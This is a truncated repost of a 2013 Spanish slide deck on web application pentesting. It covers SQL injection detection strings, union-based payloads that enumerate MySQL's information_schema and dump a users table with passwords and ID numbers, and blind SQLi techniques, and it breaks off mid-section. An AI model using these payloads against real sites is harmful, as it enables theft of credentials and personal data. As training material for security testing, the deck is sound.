Seguridad

Páginas: 7 (1613 palabras) Publicado: 11 de marzo de 2014
Seguridad en
Aplicaciones WEB

Pentesting en aplicaciones web
Noviembre, 2013

Omar Palomino
omarc320@gmail.com
opalomino@kunak.com.pe

http://www.el-palomo.com

• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3, CPTE
• Consultor
en
seguridad
de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritoren mis tiempos libres:
http://www.el-palomo.com
http://www.el-palomo.com

1.
2.
3.
4.
5.
6.
7.

Inyecciones SQL basada en uniones
Inyecciones SQL a ciegas – Blind SQLi
Inyecciones manuales vs herramientas
Nuevos Retos SQLi - WAFs
Evadir Web Application Firewall
Codificaciones
Automatizando ataques SQLi con Python

http://www.el-palomo.com

¿Dónde los encontramos?Aplicaciones desarrolladas “in-house”
Aplicaciones desarrolladas por terceros
Aplicaciones web antiguas sin criterios de
seguridad
- Content Management Systems (CMS)

-

http://www.el-palomo.com

• ¿Por qué ocurren las inyecciones SQL?
La Vulnerabilidad de SQLi se debe a que no se
realiza un adecuado filtrado de variables que son
enviadas a la aplicación Web.

http://www.el-palomo.com

•Identificar inyecciones SQL

*** CONCATENACIONES***
10' and 1=1--%20
9' or 1=1 --+
9' and sleep(5) --+
espacios en blanco = %20
espacios en blanco = +
*** OPERACIONES MATEMÁTICAS ***
select * from productos where idprod=''
10' - 1 --+
10'/0 --+

** A TRAVES DE ERRORES **
COMILLAS DOBLES (")
COMILLAS SIMPLES (')
select * from productos where idprod='9''
* Identificar conherramientas: Acunetix, W3af

http://www.el-palomo.com

http://www.el-palomo.com





Basadas en Uniones
Inyecciones a Ciegas (Blind SQL)
Sólo obtenemos un carácter a la vez
Identificamos el carácter con TRUE o FALSE
Basadas en errores

http://www.el-palomo.com

1. Inyecciones basadas en UNIONES
* Realizar la inyeccion: 9' union select 1,2,3,4,5 --+
* Funciones básicas de Mysqldatabase() --> Devuelve la BD actual utilizada x la App
user() --> Devuelve el usuario actual utilizado x la App
CURRENT_USER
@@datadir --> Path de Mysql
9' union select user(),database(),3,4,5--+

- ENTENDER BD: INFORMATION_SCHEMA
*Tabla SCHEMATA: Almacena todas las Bases de Datos
-SCHEMA_NAME
*Tabla TABLES: Almacena las tablas asociadas a las Bases de Datos
-SCHEMA_NAME, TABLE_NAME*Tabla COLUMNS: Almacena las columnas asociadas a las tablas y a las bases de datos
-SCHEMA_NAME, TABLE_NAME, COLUMN_NAME

http://www.el-palomo.com

1. Inyecciones basadas en UNIONES
* Obtener información de tablas
9' union select (select group_concat(table_name) from information_schema.tables where
table_schema='privacidadDB'),2,3,4,5--+
TABLAS:
clientes,productos,prueba,usuarios
*OBTENER LAS COLUMNAS
9' union select (select group_concat(column_name) from information_schema.columns where
table_schema='privacidadDB' and table_name='usuarios' ),2,3,4,5--+
9' union select (select count(*) from usuarios),2,3,4,5--+ // TOTAL DE REGISTROS
9' union select (select concat(iduser,login,nombre,apellido,dni,contrasena) from usuarios limit 0,1),2,3,4,5--+
9' union select (selectconcat_ws('{%}',iduser,login,nombre,apellido,dni,contrasena) from usuarios limit 2,1),2,3,4,5-+

* HEXADECIMAL
9' union select (select concat_ws(0x7b257d,iduser,login,nombre,apellido,dni,contrasena) from usuarios limit
0,1),2,3,4,5--+

http://www.el-palomo.com

1. Inyecciones a Ciegas (Blind SQL)
- Algoritmo de búsqueda binaria
-

ASCII rango 32 – 126
Dividir siempre entre la mitad
Sepregunta si el número es mayor o menor
Máximo 8 iteraciones

- Método Bitwise
- Siempre usa 7 iteraciones

- Método Regex
- Usa expresiones regulares
http://www.el-palomo.com

http://www.el-palomo.com

LENGTH () between 0 and 20, sleep (5)
TRUE or FALSE

LENGTH () between 20 and 30, sleep (5)
TRUE or FALSE

LENGTH () between 20 and 25, sleep (5)
Longitud: 27

32

33

34...
Leer documento completo

Regístrate para leer el documento completo.

Estos documentos también te pueden resultar útiles

  • Seguridad
  • Seguridad
  • Seguridad
  • Seguridad
  • Seguridad
  • Seguridad
  • Seguridad
  • Seguridad

Conviértase en miembro formal de Buenas Tareas

INSCRÍBETE - ES GRATIS